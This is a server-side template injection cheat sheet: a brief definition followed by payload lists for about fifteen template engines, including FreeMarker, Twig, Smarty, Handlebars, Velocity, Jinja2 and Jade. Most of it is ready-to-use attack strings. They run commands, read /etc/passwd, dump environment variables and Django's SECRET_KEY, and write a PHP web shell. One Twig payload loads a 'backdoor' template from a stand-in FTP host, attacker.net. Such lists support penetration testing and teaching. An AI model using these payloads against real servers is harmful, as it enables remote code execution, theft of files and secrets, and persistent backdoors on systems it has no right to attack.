Server-Side Template Injection
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Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure.
Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.
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Polyglot:
${{<%[%'"}}%\
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FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
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(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
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Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
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Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
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Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
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ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
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Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
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Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
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Mojolicious (Perl):
<%= perl code %>
<% perl code %>
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Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
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Flask/Jinja2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
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Razor (.Net):
@(1+2)
@{// C# code}
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ASP:
<%response.write(date())%>.
<% Response.Write("testing execution") %>
<%="testing execution" %>
